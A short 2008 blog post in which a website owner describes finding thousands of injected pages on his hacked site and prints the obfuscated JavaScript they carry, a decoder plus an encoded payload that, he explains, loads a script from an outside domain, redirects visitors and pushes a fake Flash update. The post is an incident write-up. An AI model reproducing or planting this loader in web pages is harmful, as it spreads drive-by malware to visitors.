NiceGuyUK Blog

NiceGuyUK's blog

Wednesday, April 30, 2008

Anatomy of a web hack

One of my websites recently got hacked (through FTP - provider says its password related, but I'm not convinced). The miscreant put over 5000 HTML pages in one of my directories, each of which is infected with a piece of obfuscated javascript. I've tidied it up for readability :-


function F(WY,e)
{
if(!e)
{
e='kUZ$caiWxQYNso/B-8E(b>p{]K5nl2u}F3L#t7;gCGj!w")rI0X6h?vSAdT1P%*=';
}
var y;
var OR='';
for(var m=0;m {
y = (e.indexOf(WY.charAt(m))&255)<<18|(e.indexOf(WY.charAt(m+1))&255)<<12|(e.indexOf(WY.charAt(m+2))&255)<<6|e.indexOf(WY.charAt(m+3))&255;
OR += String.fromCharCode((y&16711680)>>16,(y&65280)>>8,y&255);
}
eval(OR.substring(0,OR.length-3));
}
F('Ki%#2p?7ng-)2SQG2ibCQ60(-Xl!Q?QQba-F(ca/8?>U8hb%xtG32;a(]Xl!QSQGlW-LxWoX]6hL5W8hl$CrNv8)lv?3n;agK{Q65{87N;7)K;PrKid6lS832ZdjlXx*BZ%(-?QQQXwgba-*QXt1kkkk');


What this does is call another script from another domain (dnsmanagersite.info). This script, in turn, forces a redirect to a porn site, which tries to force you to download what it claims is an update for Adobe Flash. I have no doubt at all that it is a virus/trojan/keylogger/backdoor or other such piece of crap.

0 Comments:

Post a Comment

Links to this post:

Create a Link

<< Home